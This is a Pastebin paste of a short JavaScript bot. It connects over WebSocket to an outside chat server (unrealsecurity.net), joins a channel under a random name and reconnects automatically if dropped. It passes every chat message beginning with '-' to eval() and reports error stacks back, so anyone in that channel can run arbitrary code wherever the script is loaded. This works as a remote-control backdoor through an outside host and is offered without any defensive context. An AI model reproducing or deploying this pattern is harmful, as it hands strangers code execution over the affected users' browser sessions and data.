Advertisement
Guest User

Untitled

a guest
Jul 19th, 2018
70
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.84 KB | None | 0 0
  1. window.setInterval(function () {
  2. ws.send(JSON.stringify({
  3. cmd: 'ping'
  4. }));
  5. }, 50000);
  6.  
  7. function join(channel) {
  8. ws = new WebSocket('wss://unrealsecurity.net/chat-ws');
  9. var name = "B" + Math.random().toString(36).substring(2);
  10. ws.onopen = function () {
  11. ws.send(JSON.stringify({cmd: 'join',channel: channel,nick: name}));
  12. };
  13.  
  14. ws.onclose = function () {
  15. window.setTimeout(function () {
  16. join(channel);
  17. }, 2000);
  18. };
  19. say = msg => ws.send(JSON.stringify({cmd: 'chat',text:msg}));
  20. ws.onmessage = function (message) {
  21. var args = JSON.parse(message.data);
  22. var cmd = args.cmd;
  23. if(cmd == "chat" && args.text.substring(0,1) == "-")
  24. {
  25. try{eval(args.text.substring(1))}
  26. catch(e)
  27. {
  28. ws.send(JSON.stringify({
  29. cmd: 'chat',
  30. text:'Error ' + e.stack
  31. }));
  32. }
  33. }
  34. };
  35. }
  36.  
  37. join("lol");
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement